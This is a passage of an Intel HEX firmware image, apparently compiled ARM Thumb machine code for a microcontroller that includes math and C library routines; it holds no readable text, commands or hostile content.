009A44039B04379C4647\n:100140006744019B0026002B0EDB45460026039CDE\n:10015000296801CCFBF7E6F9011C301CFAF794FE84\n:10016000043D061CBC42F3D14B4640C399460423D0\n:100170009C46E044D045E4D10EA80421844649427F\n:1001800061448C46069A93009C4461468446083B31\n:1001900063440991699908935B468C469B006344CC\n:1001A00002930799039B8F00043BDF190C9B049279\n:1001B0009A46049B9A009346524659465558002B3E\n:1001C00027DD644AB846944663449C000EAB544411\n:1001D0001F0000E01C00EE21281C8905FBF7A2F996\n:1001E000FBF770FCFBF78EFC8721C905061CFBF7AB\n:1001F00099F9011C281CFBF7ABFAFBF763FC21689B\n:1002000001C7301CFAF740FE231F051CA245E1D1AF\n:100210004746059E281C3100FDF78CFEF821890514\n:10022000041CFBF77FF9FDF785FD8221C905FBF76B\n:1002300079F9011C201CFBF78BFA041CFBF742FC2C\n:100240008046FBF75FFC011C201CFBF781FA051CB4\n:10025000002E00DC80E0049B08205A1E92000EABAA\n:100260009B58801B19000141884481405B1A0EA9EC\n:100270008B500722921B134199464B46002B79DC89\n:100280000021281CFAF7C8FC002800D1BBE0049B21\n:10029000069A591E8A4210DC2E4A099894460EAAE4\n:1002A0006344944600229B0063441C68043B224341\n:1002B0008342FAD1002A00D007E1069B0EAA013B37\n:1002C0009B00D358002B00D0FAE00122089B043B8E\n:1002D000596801320029FAD0049B9C46591C894672\n:1002E00062440092079A049B944663449E0022ABAA\n:1002F0009846D344B0444B46029A9B00D058FBF733\n:1003000001FC43461860019B002B1EDB4546039C05\n:10031000002601E0286804342168FBF703F9011C7A\n:10032000301CFAF7B1FD043D061CA742F2D15B4632\n:100330005E6001239C460333E1449C46009BE044FD\n:10034000E3444B45D7DA049333E70026EFE7C04692\n:10035000A0FE0200FFFFFF3F059B002B00D0A5E0A1\n:10036000049B0EAA013B9B00D3581B1299464B4697\n:10037000002B85DD01239C46049BE044002B00DC20\n:10038000DBE10E9C002C77D1049B012B0AD00122CB\n:100390000FA90C68531C002C70D11A00049B043167\n:1003A0009342F6D1059B002B0FDD012B00D1A3E179\n:1003B000022B0AD1049B0EAA013B9B00D25800924B\n:1003C0003F2200990A400EA9CA504B46022B00D08A\n:1003D00056E7FE20291C8005FBF7BAF9051C002C06\n:1003E00000D14DE7FE2005998005FDF7A3FD011C16\n:1003F000281CFBF7ADF9051C0021281CFAF70CFCA2\n:10040000002800D043E743460793049B0D9A984683\n:100410004B4602930B9B281C991AFDF78BFD8721F5\n:10042000C905061CFAF71CFC002800D1B7E1EE2133\n:10043000301C8905FBF776F8FBF744FBFBF762FB02\n:100440008721C905041CFBF76DF8011C301CFBF764\n:100450007FF9FBF737FB5A460EAB98500123434414\n:100460009A46059B201C0833059353469D00FBF7D5\n:1004700029FB0EAB585146E00123002280214900A0\n:1004800092000C1B0EA98C50049A9A420CDD8C46EB\n:1004900058469B00CA5860446344FF2100E01A6834\n:1004A0008A1A04C38342FAD101247BE7FC2189051F\n:1004B000FAF7D6FB002800D02FE100239946DFE6AB\n:1004C000049B0133994600930CE743460793049B32\n:1004D0008A4698464B460293534605999B000EAABE\n:1004E000D35808390591002B0DD194465246C34B81\n:1004F00043449B006344043B5868013A0839002890\n:10050000F9D092460591FE2005998005FDF712FD70\n:100510005346051C002B00DA5EE19B000EAA9446B0\n:100520001C0064449C460C9A039362441600170016\n:1005300000E01C002068FBF7E5FA291CFAF7F2FF3F\n:10054000EE2138608905281CFAF7ECFF0EAA051C7D\n:10055000231F043FA242ECD136AB00939B460023FD\n:10056000524698460192A64B069A994692464346B1\n:10057000B0461E005346002B29DB330000254646BB\n:10058000A04800270024984604E00435A0450CDB71\n:100590004B46E8587159FAF7C5FF011C381CFAF7A9\n:1005A00073FC0134071CA245EFDA4346B0461E0037\n:1005B00004225B4652429446019A80C39B46E04423\n:1005C000731CB24205D01E005346002BD5DA00271B\n:1005D000EEE7019B9A46689B022B2DDC002B00DD89\n:1005E000ADE01DD1009A039B944663441C0000209B\n:1005F0002168FAF749FC009A231FA24207D01C0089\n:100600002168FAF741FC009A231FA242F7D1029B0E\n:10061000002B03D080231B069C4660440A9B186075\n:100620000720079B18405FB03CBC90469946A24605\n:10063000AB46F0BD36AB0093689B032BF0D153461D\n:10064000002B00DCD8E09B0099464A46009B9C4664\n:100650009F586D4A524495009046654400E01D0045\n:100660002E68391C301CFAF70FFC041C011C301CCE\n:10067000FBF76EF8391CFAF707FC009A68602C60EB\n:100680002B1F271CAA42EAD15346012B00DCB3E002\n:100690004A46009B9F5842469200904643441D00A4\n:1006A00000E01D002E68391C301CFAF7EDFB041C1D\n:1006B000011C301CFBF74CF8391CFAF7E5FB009ADB\n:1006C0002B1F68602C60271C9A42EAD1444694464E\n:1006D0000020043464442168043CFAF7D5FBA542A9\n:1006E000F9D1009B0299369A5B6800295FD10A997B\n:1006F0000A604B60886093E7049B0EAA013B9B0055\n:10070000D25800927F2200990A400EA9CA505CE696\n:1007100008230B9300239B46E2E401239C4601330C\n:100720009946049BE044002B00DD2AE6FE20291CAC\n:100730008005FBF70DF8051CA2E5002432E6009ABF\n:1007400000249446039B201C63441D0000E01D0010\n:100750002968FAF799FB009A2B1FAA42F7D1041CCB\n:10076000211C3698FAF7F4FF029B002B2AD10A9B32\n:100770001C605346002B0FDD0124564637AD02CDD9\n:100780000134FAF781FBA642F9DA029B002B03D071\n:1007900080231B069C4660440A9B586040E7301C3F\n:1007A000FBF790F95A460EAB9850C246ABE6802153\n:1007B00009068C460A996244634460440A604B60AF\n:1007C00088602DE780231B069C460A9B64441C60BE\n:1007D0005346002BD0DCDBE7689B022B00DD29E7CA\n:1007E000002B07DC0020002B00D110E718E74AABF4\n:1007F0000C93C1E40024B3E7002072E7FEFFFF3F43\n:1008000074FE02000000C93FFFFFFF3FF8B54746F6\n:10081000CE469046334A430080B5041C0F1C5B084B\n:10082000934203DCFBF74EF9002859D0211C201C11\n:10083000FAF778FE051C011C201CFAF773FE2A4902\n:10084000061C281CFAF76EFE2849FAF781FF291CBE\n:10085000FAF768FE2649FAF717FB291CFAF762FE39\n:100860002449FAF775FF291CFAF75CFE2249FAF7CA\n:100870000BFB43468146002B24D0FC21381C890504\n:10088000FAF750FE49468046301CFAF74BFE011C31\n:100890004046FAF75DFF291CFAF744FE391CFAF7C7\n:1008A00057FF1649051C301CFAF73CFE011C281C9A\n:1008B000FAF7EAFA011C201CFAF74AFF0CBC904632\n:1008C0009946F8BD011C281CFAF72CFE0B49FAF7D3\n:1008D0003FFF311CFAF726FE211CFAF7D5FAEDE7A7\n:1008E000201CEBE7FFFFFF31D3C92E2F342FD73267\n:1008F0001BEF3836010D50398988083CABAA2A3ED7\n:10090000F0B5DE4657464E464546E0B58A4B4600B2\n:1009100083B0041C88469246834676089E4212DCC9\n:10092000FBF7D0F8002828D1534601331E4300D1ED\n:10093000F5E05346012B00D1FBE0211C7F48FAF77C\n:100940001BFC051CB5E07E4B9E4216DD002805DA37\n:1009500080231B069C46434498466444211C7948E6\n:10096000FAF7F6FE4146041C7748FAF7F1FE211C1F\n:10097000FAF78AFA00239846041C211C201CFAF777\n:10098000D1FD011C071CFAF7CDFD391C051C201CEC\n:10099000FAF7C8FD6D498146281CFAF7C3FD6C497A\n:1009A000FAF772FA291CFAF7BDFD6A49FAF76CFAF0\n:1009B000291CFAF7B7FD6849FAF766FA291CFAF715\n:1009C000B1FD6649FAF760FA291CFAF7ABFD6449F4\n:1009D000FAF75AFA391CFAF7A5FD62490190281C6A\n:1009E000FAF7A0FD6049FAF74FFA291CFAF79AFDC9\n:1009F0005E49FAF749FA291CFAF794FD5C49FAF7BF\n:100A000043FA291CFAF78EFD5A49FAF73DFA291CD8\n:100A1000FAF788FD5849FAF737FA011C0198FAF7F6\n:100A200033FA4946FAF77EFD4146FAF72DFA391CAA\n:100A3000FAF778FD4146FAF727FA5049051C48466F\n:100A4000FAF770FD291CFAF71FFA011C071C201C7D\n:100A5000FAF71AFA3A4B051C9E4232DC5346012B38\n:100A600027D0011C060B3548FAF786FB3603211CFC\n:100A70008046050B301CFAF76BFE2D03011C381C59\n:100A8000FAF766FE291CFAF74DFD291C041C301CE0\n:100A9000FAF748FDFE218905FAF7F6F9011C201C3A\n:100AA000FAF7F2F94146FAF73DFD291CFAF7ECF99D\n:100AB000051C281C03B03CBC90469946A246AB4698\n:100AC000F0BD5046FBF71EF8291C061C281CFAF73F\n:100AD00029FD311C8046281CFAF7D6F9011C404636\n:100AE000FAF74AFB391CFAF733FE011C201CFAF70F\n:100AF0002FFE011CFAF7C8F9011C301CFAF728FE7A\n:100B00005B46041C981702231840013B181AFAF799\n:100B1000F9FF011C201CFAF705FD051CC9E7201C84\n:100B2000FDF704F9011CFE208005FAF725FB051CE2\n:100B3000BFE7251CBDE7C046FFFF7F31000080BF37\n:100B40003FA12C3FDA0F493F682122338453D93724\n:100B50007AC09538B937813948DEBE3A1F37113C23\n:100B6000D10D5D3D5FAE9BB745F4A338C8261A3A58\n:100B700016696B3BA427B33C8988083EABAAAA3E02\n:100B8000F8B54E4657464546DE469F4BE0B54E000B\n:100B900080468A46894676089E421CDD9B4B9E42D3\n:100BA00009DC06D04B46002B00DCBAE0984B994A92\n:100BB00009E00028F6D04246534640465146FBF72E\n:100BC0002BF803000A00180011003CBC904699461F\n:100BD000A246AB46F8BD904B9E4200DDADE08F4B88\n:100BE0009E4200DC8FE001235B429B464246534617\n:100BF00040465146FBF780FF02000B0006000F0045\n:100C0000FBF77AFF04000D00854A864BFBF774FF63\n:100C1000854A864BFBF700F822002B00FBF76CFFA0\n:100C2000834A844BFAF7F8FF22002B00FBF764FF9E\n:100C3000814A824BFAF7F0FF22002B00FBF75CFFA2\n:100C40007F4A804BFAF7E8FF22002B00FBF754FFA6\n:100C50007D4A7E4BFAF7E0FF32003B00FBF74CFF8A\n:100C60007B4A06000F007B4B20002900FBF744FF66\n:100C7000794A7A4BFCF7B2F922002B00FBF73CFFD4\n:100C8000774A784BFCF7AAF922002B00FBF734FFD8\n:100C9000754A764BFCF7A2F922002B00FBF72CFFDC\n:100CA000734A744BFCF79AF922002B00FBF724FFE0\n:100CB00002000B0030003900FAF7AEFF53464246FF\n:100CC000FBF71AFF5B4601332ED05B466A4A6B4C3A\n:100CD000DB00E418D3181A685B68FCF77FF942461A\n:100CE0005346FCF77BF902000B0020686168FCF7B3\n:100CF00075F9030048460A00002800DB63E78022FC\n:100D000012068A185FE75E4A5E4BFAF785FF0022FB\n:100D10005D4BF9F761FF002800D164E74346524676\n:100D200051E73B4B594A4EE702000B004046514603\n:100D3000FCF754F903000A0045E700F0B3F8544B00\n:100D400004000D009E421EDC524B9E4244DC020019\n:100D50000B00FAF761FF00224B4BFCF73FF98023B1\n:100D600006000F000022DB0520002900FAF754FFDF\n:100D70000B00020039003000FBF7C4FA0023804664\n:100D80008A469B4632E7444B9E421ADC0022434B84\n:100D9000FCF724F9002206000F00404B2000290038\n:100DA000FBF7AAFE0022384BFAF736FF0B000200D1\n:100DB00039003000FBF7A6FA022380468A469B469C\n:100DC00014E70B00020036490020FBF79BFA0323CF\n:100DD00080468A469B4609E700222B4BFCF7FEF82B\n:100DE000002206000F00284B20002900FAF714FF0C\n:100DF0000B00020039003000FBF784FA0123804623\n:100E00008A469B46F2E6C046FFFF0F440000F07F93\n:100E1000182D4454FB21F93FFFFFDB3FFFFF1F3E2E\n:100E200011DA22E33AAD903FEB0D76244B7BA93FDC\n:100E3000513DD0A0660DB13F6E204CC5CD45B73FAA\n:100E4000FF8300922449C23F0D5555555555D53F56\n:100E50002F6C6A2C44B4A2BF9AFDDE522DDEAD3F4A\n:100E60006D9A74AFF2B0B33F711623FEC671BC3FEA\n:100E7000C4EB98999999C93F08980200E897020035\n:100E80009C7500883CE4377E0000F03FFB21F9BFF1\n:100E9000FFFFF23FFFFFE53FFF7F03400000F83F09\n:100EA0000000F0BF49004B081900704743000020C4\n:100EB000024A5B089A4240417047C046FFFF7F7F6D\n:100EC000004870470000C07F10B5040004481300BC\n:100ED000002804D00A000220210006F05EFA10BDAE\n:100EE0009B730200014B18687047C0466C000020DD\n:100EF000084B10B50400002B02D0002100E000BF19\n:100F0000054B1868836A002B00D09847200008F032\n:100F1000FFF8C046000000000CFF0200002310B5DF\n:100F2000040003604360836081814366C281036182\n:100F300043618361190008225C3008F048FB054BCF\n:100F400024626362044BA362044BE362044B236399\n:100F500010BDC0466112020089120200C1120200D7\n:100F60003B96020010B5024908F0D8FA10BDC04601\n:100F7000E515020010B5024808F0F2FA10BDC046AF\n:100F8000F02F002010B5024808F0EBFA10BDC04663\n:100F9000F02F002010B5024808F0E2FA10BDC0465C\n:100FA000EB2F002010B5024808F0DBFA10BDC04658\n:100FB000EB2F002013B50400FFF7ECFFA369002B13\n:100FC00002D0FFF7EFFF13BDA364E3642365134B67\n:100FD000134A1B68A2620193A34201D10123A361BA\n:100FE000200000F01FF86060200000F01BF8A060F7\n:100FF000200000F017F80022E06004216068FFF78D\n:101000008DFF01220921A068FFF788FF022212212B\n:10101000E068FFF783FF0123A361D2E70CFF020022\n:10102000650F0200F8B50700FFF7A4FF1F4B1E680D\n:10103000B369002B02D13000FFF7BCFF4836B4681B\n:101040007368013B04D53368002B22D03668F6E77D\n:101050000C22A55E002D1AD12000154B5830E360FC\n:10106000656608F07CFAFFF78DFF20002560A5601B\n:10107000656025616561A561082229005C3008F082\n:10108000A6FA6563A563A564E5642000F8BD68342D\n:10109000D7E70421380008F02BFA041E3060D5D1C0\n:1010A000FFF770FF0C233B60EFE7C0460CFF020028\n:1010B0000100FFFF70B500260C4D0D4C641BA41001\n:1010C000A64209D1002608F083FB0A4D0A4C641B96\n:1010D000A410A64205D170BDB300EB589847013665\n:1010E000EEE7B300EB5898470136F2E7F400002032\n:1010F000F4000020F4000020140100200FB40B4B7A\n:1011000013B51C68002C05D0A369002B02D1200068\n:10111000FFF750FF05AB049AA1682000019300F08F\n:1011200021FB16BC08BC04B01847C0466C00002068\n:1011300070B505000E00002804D08369002B01D192\n:10114000FFF738FFAB69AC68002B02D12800FFF72E\n:1011500031FF2D4B9C4222D16C68636EDB0705D4B6\n:10116000A3899B0502D4A06D08F0FAF9A3891B0797\n:1011700002D52369002B29D12100280000F020F995\n:10118000002823D001256D42636EDB0705D4A389B7\n:101190009B0502D4A06D08F0E4F9280070BD1B4B3C\n:1011A0009C4201D1AC68D8E7194B9C42D5D1EC6880\n:1011B000D3E70136A360002B04DAA2699A4216DC59\n:1011C0000A2914D023685A1C22601970A368317848\n:1011D000013B0029EDD1A360002B0FDA280022008B\n:1011E0000A3100F083F80A25431CCDD1CAE722005A\n:1011F000280000F07BF8431CE8D1C3E70A252368E8\n:101200005A1C22601D70BFE7CCFE0200ECFE0200FB\n:10121000ACFE020010B5034B01001868FFF788FF11\n:1012200010BDC0466C00002010B5034B01001868CB\n:1012300008F0D5F910BDC0466C000020002370B541\n:10124000064C050008001100236000F027FD431C38\n:1012500003D12368002B00D02B6070BDE42F002049\n:1012600070B50C000E25495F00F0BCFC002803DBC4\n:10127000636D1B18636570BDA389024A1340A38187\n:10128000F9E7C046FFEFFFFFF8B51F008B890500A7\n:101290000C001600DB0505D50E23C95E00220223D3\n:1012A00000F0E0F9A389054A28001340A381320029\n:1012B0000E23E15E3B0000F06FF8F8BDFFEFFFFF8B\n:1012C00070B50C000E25495F00F0CCF9A389421CD3\n:1012D00003D1054A1340A38170BD802252011343FC\n:1012E000A3816065F8E7C046FFEFFFFFF8B5050092\n:1012F0000E001400002804D08369002B01D1FFF7F1\n:1013000059FE224B9C422ED16C68A369A360A3892D\n:101310001B0732D52369002B2FD023682269F7B22F\n:10132000981A6369F6B2834205DC2100280000F0B8\n:1013300059F9002827D1A3680130013BA360236835\n:101340005A1C22601F706369834204D0A389DB07A3\n:1013500007D50A2E05D12100280000F043F9002806\n:1013600011D13000F8BD0A4B9C4201D1AC68CCE7EA\n:10137000084B9C42C9D1EC68C7E72100280000F067\n:101380001FF80028C9D001267642EAE7CCFE020009\n:10139000ECFE0200ACFE020070B505000800110072\n:1013A0000022064C22601A00F8F774FA431C03D19D\n:1013B0002368002B00D02B6070BDC046E42F0020B6\n:1013C000364B70B51D6806000C00002D05D0AB69CA\n:1013D000002B02D12800FFF7EDFD314B9C420FD1CD\n:1013E0006C680C23E25E93B219072DD4D90611D490\n:1013F00009230120336037331343A381404270BD7A\n:10140000284B9C4201D1AC68EBE7274B9C42E8D1CA\n:10141000EC68E6E75B0713D5616B002908D0230071\n:101420004433994202D0300007F0AEFB00236363DF\n:101430002422A3899343A38100236360236923604B\n:101440000823A2891343A3812369002B0BD1A02178\n:101450008022A389890092000B40934203D021008F\n:10146000300000F03BF90123A289134011D0002382\n:10147000A36063695B42A361002023698342BED1FC\n:101480000C23E25E1306BAD540231343A38101382F\n:10149000B5E7920700D46369A360EDE76C00002014\n:1014A000CCFE0200ECFE0200ACFE0200002370B590\n:1014B000064C050008002360F8F7D6F9431C03D159\n:1014C0002368002B00D02B6070BDC046E42F0020A5\n:1014D000F7B58A8905000C0013075DD44B68002B13\n:1014E00004DC0B6C002B01DC0020FEBDE76A002F42\n:1014F000FAD000232E682B6080235B011A4034D081\n:10150000606DA3895B0706D56368C01A636B002B07\n:1015100001D0236CC01A0200216A00232800E76A68\n:10152000B847A189431C06D12B681D2B31D82C4A02\n:10153000DA40D3072DD50023636023692360CB04F1\n:1015400005D5431C02D12B68002B00D16065616B6F\n:101550002E600029C8D023004433994202D02800CD\n:1015600007F012FB00206063BFE70123216A280017\n:10157000B847431CC5D12B68002BC2D01D2B01D00E\n:10158000162B01D12E60AFE74023A2891343A3811C\n:10159000ABE740230B43FAE70F69002FA4D00B6899\n:1015A0000F60DB1B01930023920700D14B69A360FE\n:1015B000019B002B00DC97E7019B3A00216A280081\n:1015C000A66AB047002806DC40230120A2894042D9\n:1015D0001343A38189E7019B3F181B1A0193E7E797\n:1015E000010040200B6970B505000C00002B02D1F2\n:1015F0000025280070BD002804D08369002B01D18C\n:10160000FFF7D8FC144B9C421BD16C680C22A35EE4\n:10161000002BEDD0626ED20704D49B0502D4A06DDE\n:1016200007F09EFF28002100FFF752FF636E0500C0\n:10163000DB07DED4A3899B05DBD4A06D07F091FF07\n:10164000D7E7064B9C4201D1AC68DFE7044B9C42D4\n:10165000DCD1EC68DAE7C046CCFE0200ECFE02000A\n:10166000ACFE020070B50500080011000022064C17\n:1016700022601A00F8F770F9431C03D12368002B8D\n:1016800000D02B6070BDC046E42F002070B50E0066\n:101690001D000E23C95E96B01400002907DA00234E\n:1016A0002B60B3891B0611D48023DB000FE06A4650\n:1016B00000F0ACFA0028F2DBF022019B120213408A\n:1016C000054A9B185A4253412B60EDE74023002006\n:1016D000236016B070BDC04600E0FFFFF7B50226DC\n:1016E0008B8905000C00334206D02300473323606A\n:1016F000236101236361F7BD01AB6A46FFF7C6FFB3\n:1017000000990700280007F03AFA002808D10C22B7\n:10171000A35E9A05EFD4032293431E43A681E4E718\n:101720000F4BAB628023A28920601343A381009BEF\n:1017300020616361019B002B0DD00E23E15E280028\n:1017400000F076FA002806D00322A38993431A00FA\n:1017500001231343A381A0893843A081CBE7C0466E\n:10176000650F0200F0B5A1B007000D0003921E0046\n:10177000002804D08369002B01D1FFF71BFC8C4BA0\n:101780009D421CD17D686B6EDB0705D4AB899B0540\n:1017900002D4A86D07F0E4FEAB891B0702D52B69C4\n:1017A000002B1DD129003800FFF70AFE002817D0B2\n:1017B0006B6EDB070DD50120404221B0F0BD7D4BA3\n:1017C0009D4201D1BD68DEE77B4B9D42DBD1FD68C8\n:1017D000D9E7AB899B05EED4A86D07F0C2FEEAE716\n:1017E000002308AC6361203363761033A376079639\n:1017F000039E3378002B01D0252B4BD1039BF31A8A\n:1018000005930CD0039A2900380007F061FF431CB0\n:1018100000D1B5E06269059B944663446361337807\n:10182000002B00D1ACE00122731C03930023524231\n:10183000626004A9543252182360E360A3601370FD\n:10184000A365039B052219785C4807F08BFE039B78\n:101850005E1C002820D12268D30604D5532304A996\n:101860005B1820211970130704D5532304A95B18B2\n:101870002B211970039B1B782A2B16D00021E368BB\n:10188000039E3278701C303A8446092A4FD90029C9\n:1018900011D117E00136ACE7484B2268C01A01238A\n:1018A0008340134323600396CBE7079B191D1B68F6\n:1018B0000791002B01DB0B9304E05B42E360022302\n:1018C0001343236033782E2B0AD173782A2B37D118\n:1018D000079B02361A1D1B680792002B2DDB09930C\n:1018E00031780322364807F03DFE002807D0344BFC\n:1018F0002268C01A402383401343013623603178A5\n:10190000731C06222F480393217607F02BFE002834\n:1019100045D02D4B002B27D10722079B073393433C\n:10192000083307936369049A9B18636160E70A218F\n:101930004B4366469B180939A3E701235B42CEE778\n:1019400000231A00013663603178701C30398446F8\n:10195000092903D9002BC3D00992C1E70A235A43AE\n:1019600066465218093BEFE707AB00932A00174B76\n:101970002100380000E000BF0490049B0133D1D166\n:101980006B6EDB0705D4AB899B0502D4A86D07F00D\n:10199000E8FDAB895B0600D50DE70D980DE707ABB9\n:1019A00000932A00094B2100380000F011F8E3E70A\n:1019B000CCFE0200ECFE0200ACFE02009890030098\n:1019C0009E900300A290030000000000D196020048\n:1019D000F0B58BB006920A0043320793059004924B\n:1019E0000A7E0C00109B6E2A00D1AFE020D8632A3B\n:1019F00035D008D8002A00D1B5E0582A51D02600A9\n:101A00004236327032E0642A01D0692AF7D119686F\n:101A100020680A1D05062BD50D681A60002D03DA13\n:101A20002D23049A6D4213706C4B0A27039352E0E6\n:101A3000732A00D19BE008D86F2A1FD0702ADED10C\n:101A4000202209680A43226003E0752A16D0782A0A\n:101A5000D5D12200782145321170614A24E0260058\n:101A60001A684236111D19601368337001238CE027\n:101A70000D681A604106D1D52DB2CFE719682568E7\n:101A8000081D18602E0601D50D6803E06D06FBD514\n:101A90000D68ADB2514B0A2703936F2A17D108275F\n:101AA00015E045310A704D4A03921A68216820CA30\n:101AB0001A60080644D5CB0702D5202319432160BC\n:101AC0001027002D03D1202322689A43226023008F\n:101AD000002243331A706368A360002B03DB0422E7\n:101AE000216891432160002D02D1049E002B0AD071\n:101AF000049E39002800F8F755FF039B013E5B5C0C\n:101B00003370AF4220D9082F09D12368DB0706D5EF\n:101B100063682269934202DC3023013E3370049BE8\n:101B20009B1B2361079B09AA00932100069B059834\n:101B300007F0E0FD431C2DD1012040420BB0F0BD69\n:101B40004806B8D5ADB2B6E70500D2E71A680D6809\n:101B5000101D4969186013682E0601D5196002E04E\n:101B60006D06FBD519800023049E2361DAE71A680D\n:101B7000111D1960166800216268300007F0F2FC40\n:101B8000002801D0801B6060636823610023049AF1\n:101B90001370C7E72369320006990598079DA84787\n:101BA000431CC9D023689B0715D4099BE068984261\n:101BB000C4DA1800C2E722000123193206990598F9\n:101BC000079EB047431CB7D00135E368099A9B1ABA\n:101BD000AB42F0DCE9E70025F7E7C046A990030037\n:101BE000BA90030070B50500080011000022064CF1\n:101BF00022601A00F7F778FE431C03D12368002BFC\n:101C000000D02B6070BDC046E42F0020002370B5CB\n:101C1000064C050008001100236007F05CFA431C25\n:101C200003D12368002B00D02B6070BDE42F00206F\n:101C3000002370B5064C050008002360F7F778FE16\n:101C4000431C03D12368002B00D02B6070BDC0461D\n:101C5000E42F002070B50C4E0D031C0349005B00FF\n:101C60002D0B490D240B5B0DB14208D00649002015\n:101C70008B4203D114432000441EA04170BD054394\n:101C80000120002DFAD1F1E7FF07000058220120C2\n:101C9000014B40421A607047E42F00205822012077\n:101CA000014B40421A607047E42F002010B5DFF767\n:101CB0005FFF43000120184310BD802340109B05A7\n:101CC000C018C0234910401A80001B064008C018E5\n:101CD00001231843704700B589B001A8F1F7C4FD8E\n:101CE0000120039B5B00184309B000BD00B589B01B\n:101CF00001A8F1F7B9FD0120029B5B00184309B070\n:101D000000BD026813783E2B05D83C2B05D2212B51\n:101D100007D0402303E0402BFBD1013202601800C2\n:101D200070473E23F9E7F8B5012605000468361B25\n:101D3000A71901342078F3F703FA031EF8D139000C\n:101D400028680A22E9F7DEFA2C604010F8BD73B566\n:101D5000E7F706FD00906846FFF7D3FF0024060072\n:101D6000009B1878002803D164000130204376BD21\n:101D7000F3F7E6F90125002803D06846FFF7D3FF03\n:101D80000500009B1978732904D16419009B013365\n:101D90000093E5E701AA3000E9F7BAF8019B5A1E63\n:101DA0005B42013DF2D314191C400419F9E70023EA\n:101DB00010B51A001900DEF74DFD10BD07B5002261\n:101DC000019101AB0121DEF745FD0EBD10B51400F8\n:101DD0005268531E9A4193001018E31A0A00083300\n:101DE00001002068DEF736FD10BD07B56A46DEF754\n:101DF000DBFD01990098002900D10EBDE5F770FBCD\n:101E0000FBE7F8B500F0CCFD03F076F900250600FD\n:101E10007368AB4200D8F8BDB368EF00DC59002C02\n:101E20000ED0042C0CD0E408200005F0E7FB03786A\n:101E30005F2B05D0B3682000DF197968DEF768FCF6\n:101E40000135E5E710B5002903D100F0E5F8E5F725\n:101E500027FB00F0EEF8FAE710B50222DFF70CFCE2\n:101E600010BD10B50122DFF707FC10BD13B504004B\n:101E700008001100002200921300E0F75FFA04202E\n:101E800000F091F8046016BDF820802380020278EB\n:101E90005B051B694D2A01D1C01A70478020C00222\n:101EA000FAE7406870474160704710B500220400AF\n:101EB000A05C8B5C00280BD0002B05D1F3F758F900\n:101EC00001235840C0B205E0984206D10132EFE745\n:101ED000584258410123184010BD0020FCE7F7B5D7\n:101EE00006004068041E13D00021F0F703FE002313\n:101EF0000400082501937368019A934208D9705928\n:101F0000DEF700FE071E05D1200004F0FAF93C00C0\n:101F10002000FEBD019B6051013301930435EAE7C7\n:101F2000136870B5002B0DD14568AC1CA400245873\n:101F30009D4207D09E00A659B14204D102339B00B6\n:101F40001B58136070BD0133F2E74B6810B50233C4\n:101F50009B000A005958E0F7A5F810BD13B513000F\n:101F60000C000A1D411E002000902068E0F7C8F810\n:101F700016BD13B513000C000A1D411E0120009070\n:101F80002068E0F7BDF816BD73B50C00050001CC64\n:101F90001600E0F763F90023691E00932200330066\n:101FA000E0F7AEF876BD10B500210400F1F7C6FCED\n:101FB000002804D1002C02D02000DFF74DF910BD1D\n:101FC00010B50021F1F7BAFC10BD10B50400FFF701\n:101FD000EAFF002804D1002C02D02000DFF73CF9F2\n:101FE00010BD10B501220C00F1F7A4FD002804D1AA\n:101FF000002C02D02000DFF72FF910BD10B5F1F74B\n:1020000099FD10BD10B5F1F733FD10BD10B51300EB\n:10201000C4680022A04710BD002210B51100FFF7D0\n:10202000F5FF10BD07B5019101AA0121FFF7EEFFF1\n:102030000EBD10B5E0F7F4FA10BD10B5EAF7DEFBFF\n:10204000E0F734FB10BD70B504000D00FFF7F5FF9D\n:10205000002803D02000EAF7D1FB0400290020006B\n:10206000E6F7CEFD70BD10B5E0F754FE10BD10B51B\n:102070000020E0F7ABFE10BD10B5010008220020E3\n:10208000012443000800013A20401843D2B2C0B2F4\n:102090004908002AF5D110BD022325280BD018339A\n:1020A000262808D03633272805D04C3B0A2800D9EB\n:1020B0000233C318DBB21800704710B5E1F782FD98\n:1020C000F3F78EFCE1F7BAFD0028F9DB10BDF0B59F\n:1020D0000400170082680D00561821008BB003938E\n:1020E0007B00F0185B190C319B00029101930528CD\n:1020F00014D895002A0005A807F04DFA05AB581929\n:10210000019A039907F047FA606805AB3A0031007D\n:10211000DEF7A0FB040020000BB0F0BD8000FFF74D\n:1021200042FF0600A36802999A0007F034FAA368F8\n:10213000019A98000399301807F02DFAA3683A0025\n:10214000E91860683300DEF785FB04003000FFF714\n:1021500059FFE0E770B5050008000021DEF770FCCC\n:1021600004002000DEF7CEFC011E00D170BD2B1D47\n:102170000122180005F00CFCF3E710B50400E1F7AC\n:102180002DFF2368036010BD70B50D00FFF7F5FF4C\n:1021900004002900FFF7DEFF200070BD70B50500C8\n:1021A0000E00E1F71BFF04003100E1F7CBFF2B68C5\n:1021B0002000236070BDF7B50C6801900E00200070\n:1021C000002A0AD0E1F77CFF0125019B9D4208D33C\n:1021D000336820001B682360FEBDE1F7FFFE0400AA\n:1021E000F2E7AB00F058844204D12000E1F7C4FFCD\n:1021F0000135EAE70021DEF723FC07003800DEF7AF\n:1022000081FC011EF4D02000E1F77AFFF6E710B55B\n:102210000022FFF7D0FF10BD816830B5C3684C685D\n:10222000A34201D3002208E0CD689A00525901333D\n:10223000002AF5D0042AF3D0C360100030BD10B5D9\n:102240000122E2F72DF810BD10B50022E2F728F8C0\n:1022500010BD10B50430012205F09AFB10BDF7B592\n:102260000C000025060011001F00009501232A0024\n:102270002000E0F763F8AC4207D121002000E1F72D\n:10228000F3FF040026602000FEBD29002800E1F7CE\n:10229000EBFF290004003868DEF7D2FB05002800B8\n:1022A000DEF730FC011EEDD02000FFF7D2FFF6E78D\n:1022B0000B0010B5010000221800E2F72DF810BD48\n:1022C00010B50022E2F728F810BD70B50D0004002B\n:1022D000F2F778F929002000F7F7EAF9F2F762F946\n:1022E00070BD10B50400F2F76DF92000F7F7C2F9E0\n:1022F000F2F758F910BD80235B051B69013B0340D1\n:1023000058425841C0B270478168030010B5081E9A\n:1023100008D00122013999604900114358680332FD\n:10232000EAF7D8FC10BD7FB51D000024012306008C\n:102330000094080011001A00E0F700F8F82102AA42\n:10234000FF312868DEF7FEFA029BA34208D0210085\n:10235000200002AAFFF73AFD0400200004B070BD7F\n:102360000C20FFF720FE0400066028686060EAF792\n:102370009BFCEAF727FBA060EFE7F0B5070085B00C\n:102380000E0000680968FBF761FF3B683568011CB7\n:10239000041C181C0293F9F7DBF9291CF8F7ECFE72\n:1023A00000210190201CF8F737FC002817D00024EA\n:1023B000002D01DA8024240600210198F8F72CFC76\n:1023C00000282AD0291C0298F8F7D6FE00250028FC\n:1023D00001DA80252D063D60346005B0F0BD002196\n:1023E000201CF8F71FF